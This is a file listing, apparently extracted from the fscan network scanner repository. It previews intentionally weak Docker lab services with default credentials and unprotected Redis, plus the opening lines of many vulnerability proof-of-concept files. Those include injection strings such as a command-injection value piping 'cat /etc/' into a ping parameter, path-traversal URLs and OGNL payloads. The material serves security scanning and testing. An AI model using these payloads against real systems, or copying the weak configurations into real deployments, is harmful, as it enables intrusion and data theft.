"path": "TestDocker/Memcached/Dockerfile",
"chars": 179,
"preview": "# 使用Memcached官方镜像\nFROM memcached:latest\n\n# 开放11211端口\nEXPOSE 11211\n\n# 设置启动参数\n# -m 64: 分配64MB内存\n# -c 1024: 最大同时连接数1024\n# -"
},
{
"path": "TestDocker/Memcached/README.txt",
"chars": 119,
"preview": "docker build -t memcached-server .\ndocker run -d \\\n -p 11211:11211 \\\n --name memcached-container \\\n memcached-server"
},
{
"path": "TestDocker/Modbus/README.txt",
"chars": 54,
"preview": "docker run --rm -p 5020:5020 oitc/modbus-server:latest"
},
{
"path": "TestDocker/Mongodb/Dockerfile",
"chars": 271,
"preview": "# 使用MongoDB官方镜像\nFROM mongo:latest\n\n# 设置环境变量\nENV MONGO_INITDB_ROOT_USERNAME=admin\nENV MONGO_INITDB_ROOT_PASSWORD=123456\n\n"
},
{
"path": "TestDocker/Mongodb/README.txt",
"chars": 113,
"preview": "docker build -t mongodb-server .\ndocker run -d \\\n -p 27017:27017 \\\n --name mongodb-container \\\n mongodb-server"
},
{
"path": "TestDocker/MySQL/Dockerfile",
"chars": 299,
"preview": "# 使用MySQL官方镜像\nFROM mysql:latest\n\n# 设置环境变量\nENV MYSQL_ROOT_PASSWORD=Password\nENV MYSQL_DATABASE=mydb\n\n# 开放3306端口\nEXPOSE 33"
},
{
"path": "TestDocker/MySQL/README.txt",
"chars": 93,
"preview": "docker build -t mysql-server .\ndocker run -d -p 3306:3306 --name mysql-container mysql-server"
},
{
"path": "TestDocker/MySQL/my.cnf",
"chars": 31,
"preview": "[mysqld]\nbind-address = 0.0.0.0"
},
{
"path": "TestDocker/Neo4j/Dockerfile",
"chars": 173,
"preview": "FROM neo4j:4.4\n\nENV NEO4J_AUTH=neo4j/123456\nENV NEO4J_dbms_security_procedures_unrestricted=apoc.*\nENV NEO4J_dbms_securi"
},
{
"path": "TestDocker/Neo4j/docker-compose.yml",
"chars": 229,
"preview": "version: '3'\nservices:\n neo4j:\n image: neo4j:4.4\n ports:\n - \"7474:7474\"\n - \"7687:7687\"\n environment:"
},
{
"path": "TestDocker/Oracle/Dockerfile",
"chars": 290,
"preview": "# 使用Oracle官方容器镜像\nFROM container-registry.oracle.com/database/express:21.3.0-xe\n\n# 设置环境变量\nENV ORACLE_PWD=123456\nENV ORACL"
},
{
"path": "TestDocker/Oracle/README.txt",
"chars": 227,
"preview": "首先需要在Oracle Container Registry网站注册并接受许可协议:\nhttps://container-registry.oracle.com\n\ndocker login container-registry.oracle"
},
{
"path": "TestDocker/POP3/Dockerfile",
"chars": 1427,
"preview": "FROM ubuntu:20.04\n\n# 避免交互式提示\nENV DEBIAN_FRONTEND=noninteractive\n\n# 安装必要的包\nRUN apt-get update && apt-get install -y \\\n "
},
{
"path": "TestDocker/POP3/README.txt",
"chars": 92,
"preview": "docker build -t pop3-test .\ndocker run -d --name pop3-server -p 110:110 -p 995:995 pop3-test"
},
{
"path": "TestDocker/Postgre/Dockerfile",
"chars": 239,
"preview": "# 使用PostgreSQL官方镜像\nFROM postgres:latest\n\n# 设置环境变量\nENV POSTGRES_USER=postgres\nENV POSTGRES_PASSWORD=123456\nENV POSTGRES_D"
},
{
"path": "TestDocker/Postgre/README.md",
"chars": 108,
"preview": "docker build -t postgres-server .\ndocker run -d \\\n-p 5432:5432 \\\n--name postgres-container \\\npostgres-server"
},
{
"path": "TestDocker/RabbitMQ/Dockerfile",
"chars": 182,
"preview": "FROM rabbitmq:3-management\n\n# 环境变量设置默认的用户名和密码\nENV RABBITMQ_DEFAULT_USER=admin\nENV RABBITMQ_DEFAULT_PASS=123456\n\n# 开放标准端口"
},
{
"path": "TestDocker/RabbitMQ/README.txt",
"chars": 108,
"preview": "docker build -t rabbitmq-weak .\ndocker run -d --name rabbitmq-test -p 5672:5672 -p 15672:15672 rabbitmq-weak"
},
{
"path": "TestDocker/Redis/Dockerfile",
"chars": 777,
"preview": "FROM redis:5.0.1\n\n# 创建测试目录并设置权限\nRUN mkdir -p /root/.ssh && \\\n mkdir -p /var/spool/cron && \\\n mkdir -p /var/spool/c"
},
{
"path": "TestDocker/Redis/README.txt",
"chars": 105,
"preview": "docker build -t redis-server .\ndocker run -d \\\n -p 6379:6379 \\\n --name redis-container \\\n redis-server"
},
{
"path": "TestDocker/Redis/redis.conf",
"chars": 63,
"preview": "bind 0.0.0.0\nport 6379\nprotected-mode no\ndir /data\ndaemonize no"
},
{
"path": "TestDocker/Rsync/Dockerfile",
"chars": 1334,
"preview": "FROM ubuntu:20.04\n\n# 安装rsync\nRUN apt-get update && \\\n apt-get install -y rsync\n\n# 创建测试目录和用户\nRUN mkdir -p /data/public"
},
{
"path": "TestDocker/Rsync/README.txt",
"chars": 84,
"preview": "docker build -t rsync-test .\ndocker run -d --name rsync-server -p 873:873 rsync-test"
},
{
"path": "TestDocker/SMTP/Dockerfile",
"chars": 1492,
"preview": "FROM ubuntu:20.04\n\nENV DEBIAN_FRONTEND=noninteractive\n\n# 安装必要的软件\nRUN apt-get update && apt-get install -y \\\n postfix "
},
{
"path": "TestDocker/SMTP/README.txt",
"chars": 77,
"preview": "docker build -t smtp-weak .\ndocker run -d --name smtp-test -p 25:25 smtp-weak"
},
{
"path": "TestDocker/SMTP/start.sh",
"chars": 59,
"preview": "#!/bin/bash\nservice postfix start\ntail -f /var/log/mail.log"
},
{
"path": "TestDocker/SNMP/Dockerfile",
"chars": 684,
"preview": "FROM ubuntu:20.04\n\n# 安装SNMP服务\nRUN apt-get update && \\\n DEBIAN_FRONTEND=noninteractive apt-get install -y snmpd && \\\n "
},
{
"path": "TestDocker/SNMP/README.txt",
"chars": 83,
"preview": "docker build -t snmp-weak .\ndocker run -d --name snmp-test -p 161:161/udp snmp-weak"
},
{
"path": "TestDocker/SSH/Dockerfile",
"chars": 401,
"preview": "# 使用Ubuntu最新版本作为基础镜像\nFROM ubuntu:latest\n\n# 安装必要的软件包\nRUN apt-get update && apt-get install -y \\\n openssh-server \\\n "
},
{
"path": "TestDocker/SSH/README.txt",
"chars": 64,
"preview": "docker build -t ubuntu-ssh .\ndocker run -d -p 2222:22 ubuntu-ssh"
},
{
"path": "TestDocker/Telnet/Dockerfile",
"chars": 328,
"preview": "FROM busybox:latest\n\n# 安装必要的包\nRUN [\"busybox\", \"telnetd\", \"--help\"]\n\n# 创建测试用户\nRUN adduser -D -h /home/test test && \\\n "
},
{
"path": "TestDocker/Telnet/README.md",
"chars": 85,
"preview": "docker build -t telnet-test .\ndocker run -d -p 23:23 --name telnet-server telnet-test"
},
{
"path": "TestDocker/Tomcat/Dockerfile",
"chars": 415,
"preview": "FROM tomcat:9.0-jdk8\n\n# 删除默认应用\nRUN rm -rf /usr/local/tomcat/webapps/*\n\n# 复制tomcat-users.xml配置文件\nCOPY tomcat-users.xml /u"
},
{
"path": "TestDocker/Tomcat/README.txt",
"chars": 87,
"preview": "docker build -t tomcat-weak .\ndocker run -d --name tomcat-test -p 8080:8080 tomcat-weak"
},
{
"path": "TestDocker/Tomcat/context.xml",
"chars": 197,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Context antiResourceLocking=\"false\" privileged=\"true\" >\n <Valve className=\"or"
},
{
"path": "TestDocker/Tomcat/tomcat-users.xml",
"chars": 834,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<tomcat-users xmlns=\"http://tomcat.apache.org/xml\"\n xmlns:xsi=\"http:"
},
{
"path": "TestDocker/VNC/Dockerfile",
"chars": 803,
"preview": "FROM ubuntu:20.04\n\nENV DEBIAN_FRONTEND=noninteractive\nENV TZ=Asia/Shanghai\n\n# 安装必要的包\nRUN apt-get update && apt-get insta"
},
{
"path": "TestDocker/VNC/README.txt",
"chars": 66,
"preview": "docker build -t vnc-server .\ndocker run -d -p 5901:5901 vnc-server"
},
{
"path": "TestDocker/VNC/supervisord.conf",
"chars": 146,
"preview": "[supervisord]\nnodaemon=true\n\n[program:vnc]\ncommand=/usr/bin/vncserver :1 -geometry 1280x800 -depth 24\nuser=vncuser\nautos"
},
{
"path": "TestDocker/Weblogic/Dockerfile",
"chars": 498,
"preview": "FROM container-registry.oracle.com/middleware/weblogic:12.2.1.4-dev\n\n# 环境变量\nENV DOMAIN_NAME=\"base_domain\" \\\n ADMIN_PO"
},
{
"path": "TestDocker/Weblogic/README.txt",
"chars": 106,
"preview": "docker build -t weblogic-weak .\ndocker run -d --name weblogic-test -p 7001:7001 -p 7002:7002 weblogic-weak"
},
{
"path": "TestDocker/Weblogic/create-domain.py",
"chars": 507,
"preview": "import os\n\n# 读取模板\nreadTemplate(\"/u01/oracle/wlserver/common/templates/wls/wls.jar\")\n\n# 配置管理服务器\ncd('/Security/base_domain"
},
{
"path": "TestDocker/Weblogic/start.sh",
"chars": 173,
"preview": "#!/bin/bash\n\n# 创建域\nwlst.sh -skipWLSModuleScanning /u01/oracle/create-domain.py\n\n# 等待域创建完成\nsleep 5\n\n# 启动服务器\n/u01/oracle/u"
},
{
"path": "TestDocker/Zabbix/docker-compose.yml",
"chars": 1279,
"preview": "version: '3'\n\nservices:\n mysql:\n image: mysql:8.0\n container_name: zabbix-mysql\n command: --default-authentica"
},
{
"path": "WebScan/InfoScan.go",
"chars": 1916,
"preview": "package WebScan\n\nimport (\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"github.com/shadow1ng/fscan/WebScan"
},
{
"path": "WebScan/WebScan.go",
"chars": 6708,
"preview": "package WebScan\n\nimport (\n\t\"context\"\n\t\"embed\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n"
},
{
"path": "WebScan/info/Rules.go",
"chars": 16724,
"preview": "package info\n\ntype RuleData struct {\n\tName string\n\tType string\n\tRule string\n}\n\ntype Md5Data struct {\n\tName string\n\tMd5"
},
{
"path": "WebScan/lib/Check.go",
"chars": 20806,
"preview": "package lib\n\nimport (\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"github.com/google/cel-go/cel\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"github"
},
{
"path": "WebScan/lib/Client.go",
"chars": 7114,
"preview": "package lib\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"embed\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com/shadow1ng/fscan/Common\"\n\t\"golang.o"
},
{
"path": "WebScan/lib/Eval.go",
"chars": 21666,
"preview": "package lib\n\nimport (\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"crypto/md5\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"github.com/goo"
},
{
"path": "WebScan/lib/Shiro.go",
"chars": 2202,
"preview": "package lib\n\nimport (\n\t\"bytes\"\n\t\"crypto/aes\"\n\t\"crypto/cipher\"\n\t\"crypto/rand\"\n\t\"encoding/base64\"\n\t\"io\"\n\n\tuuid \"github.com"
},
{
"path": "WebScan/lib/http.pb.go",
"chars": 16598,
"preview": "//go:generate protoc --go_out=. http.proto\n\n// Code generated by protoc-gen-go. DO NOT EDIT.\n// versions:\n// \tprotoc-gen"
},
{
"path": "WebScan/lib/http.proto",
"chars": 643,
"preview": "syntax = \"proto3\";\npackage lib;\n\noption go_package = \"./;lib\";\n\nmessage UrlType {\n string scheme = 1;\n string domain ="
},
{
"path": "WebScan/pocs/74cms-sqli-1.yml",
"chars": 719,
"preview": "name: poc-yaml-74cms-sqli-1\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n - method: POST\n path: /plus/weixin."
},
{
"path": "WebScan/pocs/74cms-sqli-2.yml",
"chars": 371,
"preview": "name: poc-yaml-74cms-sqli-2\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n - method: GET\n path: /plus/ajax_off"
},
{
"path": "WebScan/pocs/74cms-sqli.yml",
"chars": 368,
"preview": "name: poc-yaml-74cms-sqli\nrules:\n - method: GET\n path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=ma"
},
{
"path": "WebScan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml",
"chars": 367,
"preview": "name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE\nrules:\n - method: GET\n path: /jbossmq-httpil/HTTPServerILServle"
},
{
"path": "WebScan/pocs/CVE-2022-22947.yml",
"chars": 1472,
"preview": "name: Spring-Cloud-CVE-2022-22947\nset:\n router: randomLowercase(8)\n rand1: randomInt(800000000, 1000000000)\n rand2: r"
},
{
"path": "WebScan/pocs/CVE-2022-22954-VMware-RCE.yml",
"chars": 413,
"preview": "name: poc-yaml-CVE-2022-22954-VMware-RCE\nrules:\n - method: GET\n path: /catalog-portal/ui/oauth/verify?error=&deviceU"
},
{
"path": "WebScan/pocs/CVE-2022-26134.yml",
"chars": 1027,
"preview": "name: Confluence-CVE-2022-26134\n\nrules:\n - method: GET\n path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40to"
},
{
"path": "WebScan/pocs/Hotel-Internet-Manage-RCE.yml",
"chars": 410,
"preview": "name: Hotel-Internet-Manage-RCE\nrules:\n - method: GET\n path: \"/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/"
},
{
"path": "WebScan/pocs/Struts2-062-cve-2021-31805-rce.yml",
"chars": 1847,
"preview": "name: poc-yaml-struts2-062-cve-2021-31805-rce\nrules:\n - method: POST\n path: /\n headers:\n Content-Type: 'mult"
},
{
"path": "WebScan/pocs/active-directory-certsrv-detect.yml",
"chars": 603,
"preview": "name: poc-yaml-active-directory-certsrv-detect\nrules:\n - method: GET\n path: /certsrv/certrqad.asp\n follow_redirec"
},
{
"path": "WebScan/pocs/activemq-cve-2016-3088.yml",
"chars": 942,
"preview": "name: poc-yaml-activemq-cve-2016-3088\nset:\n filename: randomLowercase(6)\n fileContent: randomLowercase(6)\nrules:\n - m"
},
{
"path": "WebScan/pocs/activemq-default-password.yml",
"chars": 549,
"preview": "name: poc-yaml-activemq-default-password\nrules:\n - method: GET\n path: /admin/\n expression: |\n response.statu"
},
{
"path": "WebScan/pocs/airflow-unauth.yml",
"chars": 315,
"preview": "name: poc-yaml-airflow-unauth\nrules:\n - method: GET\n path: /admin/\n expression: |\n response.status == 200 &&"
},
{
"path": "WebScan/pocs/alibaba-canal-default-password.yml",
"chars": 686,
"preview": "name: poc-yaml-alibaba-canal-default-password\nrules:\n - method: POST\n path: /api/v1/user/login\n expression: |\n "
},
{
"path": "WebScan/pocs/alibaba-canal-info-leak.yml",
"chars": 483,
"preview": "name: poc-yaml-alibaba-canal-info-leak\nrules:\n - method: GET\n path: /api/v1/canal/config/1/1\n follow_redirects: f"
},
{
"path": "WebScan/pocs/alibaba-nacos-v1-auth-bypass.yml",
"chars": 860,
"preview": "name: poc-yaml-alibaba-nacos-v1-auth-bypass\nset:\n r1: randomLowercase(16)\n r2: randomLowercase(16)\nrules:\n - method: "
},
{
"path": "WebScan/pocs/alibaba-nacos.yml",
"chars": 319,
"preview": "name: poc-yaml-alibaba-nacos\nrules:\n - method: GET\n path: /nacos/\n follow_redirects: true\n expression: |\n "
},
{
"path": "WebScan/pocs/amtt-hiboss-server-ping-rce.yml",
"chars": 858,
"preview": "name: poc-yaml-amtt-hiboss-server-ping-rce\nset:\n r2: randomLowercase(10)\nrules:\n - method: GET\n path: /manager/radi"
},
{
"path": "WebScan/pocs/apache-ambari-default-password.yml",
"chars": 532,
"preview": "name: poc-yaml-apache-ambari-default-password\nrules:\n - method: GET\n path: /api/v1/users/admin?fields=*,privileges/P"
},
{
"path": "WebScan/pocs/apache-axis-webservice-detect.yml",
"chars": 646,
"preview": "name: poc-yaml-apache-axis-webservice-detect\nsets:\n path:\n - services\n - servlet/AxisaxiServlet\n - servlet/Axi"
},
{
"path": "WebScan/pocs/apache-druid-cve-2021-36749.yml",
"chars": 1064,
"preview": "name: poc-yaml-apache-druid-cve-2021-36749\nmanual: true\ntransport: http\ngroups:\n druid1:\n - method: POST\n path: /dr"
},
{
"path": "WebScan/pocs/apache-flink-upload-rce.yml",
"chars": 1279,
"preview": "name: poc-yaml-apache-flink-upload-rce\nset:\n r1: randomLowercase(8)\n r2: randomLowercase(4)\nrules:\n - method: G"
},
{
"path": "WebScan/pocs/apache-httpd-cve-2021-40438-ssrf.yml",
"chars": 4524,
"preview": "name: poc-yaml-apache-httpd-cve-2021-40438-ssrf\nmanual: true\ntransport: http\nrules:\n - method: GET\n path: /?unix:AAA"
},
{
"path": "WebScan/pocs/apache-httpd-cve-2021-41773-path-traversal.yml",
"chars": 564,
"preview": "name: poc-yaml-apache-httpd-cve-2021-41773-path-traversal\ngroups:\n cgibin:\n - method: GET\n path: /cgi-bin/.%2e/"
},
{
"path": "WebScan/pocs/apache-httpd-cve-2021-41773-rce.yml",
"chars": 478,
"preview": "name: poc-yaml-apache-httpd-cve-2021-41773-rce\nset:\n r1: randomInt(800000000, 1000000000)\n r2: randomInt(800000000, 10"
},
{
"path": "WebScan/pocs/apache-kylin-unauth-cve-2020-13937.yml",
"chars": 418,
"preview": "name: poc-yaml-apache-kylin-unauth-cve-2020-13937\nrules:\n - method: GET\n path: /kylin/api/admin/config\n expressio"
},
{
"path": "WebScan/pocs/apache-nifi-api-unauthorized-access.yml",
"chars": 469,
"preview": "name: poc-yaml-apache-nifi-api-unauthorized-access\nmanual: true\ntransport: http\nrules:\n - method: GET\n path: /nifi-a"
},
{
"path": "WebScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml",
"chars": 627,
"preview": "name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe\nrules:\n - method: POST\n path: /webtools/control/xmlrpc\n headers:\n "
},
{
"path": "WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml",
"chars": 937,
"preview": "name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization\nset:\n rand: randomInt(200000000, 210000000)\nrules:\n - me"
},
{
"path": "WebScan/pocs/aspcms-backend-leak.yml",
"chars": 497,
"preview": "name: poc-yaml-aspcms-backend-leak\nrules:\n - method: GET\n path: /plug/oem/AspCms_OEMFun.asp\n expression: |\n "
},
{
"path": "WebScan/pocs/backup-file.yml",
"chars": 1694,
"preview": "name: poc-yaml-backup-file\nset:\n host: request.url.domain\nsets:\n path:\n - \"sql\"\n - \"www\"\n - \"wwwroot\"\n - \""
},
{
"path": "WebScan/pocs/bash-cve-2014-6271.yml",
"chars": 442,
"preview": "name: poc-yaml-bash-cve-2014-6271\nset:\n r1: randomInt(800000000, 1000000000)\n r2: randomInt(800000000, 1000000000)\nrul"
},
{
"path": "WebScan/pocs/bt742-pma-unauthorized-access.yml",
"chars": 420,
"preview": "name: poc-yaml-bt742-pma-unauthorized-access\nrules:\n - method: GET\n path: /pma/\n follow_redirects: false\n expr"
},
{
"path": "WebScan/pocs/cacti-weathermap-file-write.yml",
"chars": 930,
"preview": "name: poc-yaml-cacti-weathermap-file-write\nrules:\n - method: GET\n path: >-\n /plugins/weathermap/editor.php?plug"
},
{
"path": "WebScan/pocs/chinaunicom-modem-default-password.yml",
"chars": 328,
"preview": "name: poc-yaml-chinaunicom-modem-default-password\nrules:\n - method: POST\n path: /cu.html\n body: >-\n frashnum"
},
{
"path": "WebScan/pocs/cisco-cve-2020-3452-readfile.yml",
"chars": 600,
"preview": "name: poc-yaml-cisco-cve-2020-3452-readfile\nrules:\n - method: GET\n path: /+CSCOT+/oem-customization?app=AnyConnect&t"
},
{
"path": "WebScan/pocs/citrix-cve-2019-19781-path-traversal.yml",
"chars": 461,
"preview": "name: poc-yaml-citrix-cve-2019-19781-path-traversal\nrules:\n - method: GET\n path: /vpn/../vpns/cfg/smb.conf\n follo"
},
{
"path": "WebScan/pocs/citrix-cve-2020-8191-xss.yml",
"chars": 742,
"preview": "name: poc-yaml-citrix-cve-2020-8191-xss\nset:\n r1: randomLowercase(6)\nrules:\n - method: POST\n path: /menu/stapp\n "
},
{
"path": "WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml",
"chars": 798,
"preview": "name: poc-yaml-citrix-cve-2020-8193-unauthorized\nset:\n user: randomLowercase(8)\n pass: randomLowercase(8)\nrules:\n - m"
},
{
"path": "WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml",
"chars": 422,
"preview": "name: poc-yaml-citrix-xenmobile-cve-2020-8209\nrules:\n - method: GET\n path: /jsp/help-sb-download.jsp?sbFileName=../."
},
{
"path": "WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml",
"chars": 501,
"preview": "name: poc-yaml-coldfusion-cve-2010-2861-lfi\nrules:\n - method: GET\n path: >-\n /CFIDE/administrator/enter.cfm?loc"
},
{
"path": "WebScan/pocs/confluence-cve-2015-8399.yml",
"chars": 408,
"preview": "name: poc-yaml-confluence-cve-2015-8399\nrules:\n - method: GET\n path: /spaces/viewdefaultdecorator.action?decoratorNa"
},
{
"path": "WebScan/pocs/confluence-cve-2019-3396-lfi.yml",
"chars": 662,
"preview": "name: poc-yaml-confluence-cve-2019-3396-lfi\nrules:\n - method: POST\n path: /rest/tinymce/1/macro/preview\n headers:"
},
{
"path": "WebScan/pocs/confluence-cve-2021-26084.yml",
"chars": 526,
"preview": "name: poc-yaml-confluence-cve-2021-26084\nset:\n r1: randomInt(100000, 999999)\n r2: randomInt(100000, 999999)\nrules:\n -"
},
{
"path": "WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml",
"chars": 567,
"preview": "name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read\nset:\n rand: randomLowercase(6)\nrules:\n - method: GET\n "
},
{
"path": "WebScan/pocs/consul-rexec-rce.yml",
"chars": 338,
"preview": "name: poc-yaml-consul-rexec-rce\nrules:\n - method: GET\n path: /v1/agent/self\n expression: |\n response.status "
},
{
"path": "WebScan/pocs/consul-service-rce.yml",
"chars": 406,
"preview": "name: poc-yaml-consul-service-rce\nrules:\n - method: GET\n path: /v1/agent/self\n expression: |\n response.statu"
},
{
"path": "WebScan/pocs/coremail-cnvd-2019-16798.yml",
"chars": 375,
"preview": "name: poc-yaml-coremail-cnvd-2019-16798\nrules:\n - method: GET\n path: >-\n /mailsms/s?func=ADMIN:appState&dumpCon"
},
{
"path": "WebScan/pocs/couchcms-cve-2018-7662.yml",
"chars": 739,
"preview": "name: poc-yaml-couchcms-cve-2018-7662\nrules:\n - method: GET\n path: /includes/mysql2i/mysql2i.func.php\n follow_red"
},
{
"path": "WebScan/pocs/couchdb-cve-2017-12635.yml",
"chars": 704,
"preview": "name: poc-yaml-couchdb-cve-2017-12635\nset:\n r1: randomLowercase(32)\nrules:\n - method: PUT\n path: '/_users/org.couch"
},
{
"path": "WebScan/pocs/couchdb-unauth.yml",
"chars": 415,
"preview": "name: poc-yaml-couchdb-unauth\nrules:\n - method: GET\n path: /_config\n follow_redirects: false\n expression: >\n "
},
{
"path": "WebScan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml",
"chars": 938,
"preview": "name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce\nset:\n r1: randomInt(40000, 44800)\n r2: randomInt(40000, 44800)\ngrou"
},
{
"path": "WebScan/pocs/datang-ac-default-password-cnvd-2021-04128.yml",
"chars": 572,
"preview": "name: poc-yaml-datang-ac-default-password-cnvd-2021-04128\nrules:\n - method: POST\n path: /login.cgi\n follow_redire"
},
{
"path": "WebScan/pocs/dedecms-carbuyaction-fileinclude.yml",
"chars": 638,
"preview": "name: poc-yaml-dedecms-carbuyaction-fileinclude\nrules:\n - method: GET\n path: /plus/carbuyaction.php?dopost=return&co"
},
{
"path": "WebScan/pocs/dedecms-cve-2018-6910.yml",
"chars": 462,
"preview": "name: poc-yaml-dedecms-cve-2018-6910\nrules:\n - method: GET\n path: /include/downmix.inc.php\n expression: |\n r"
}
]
// ... and 335 more files (download for full content)
About this extraction
This page contains the full source code of the shadow1ng/fscan GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 535 files (5.4 MB), approximately 1.4M tokens, and a symbol index with 764 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.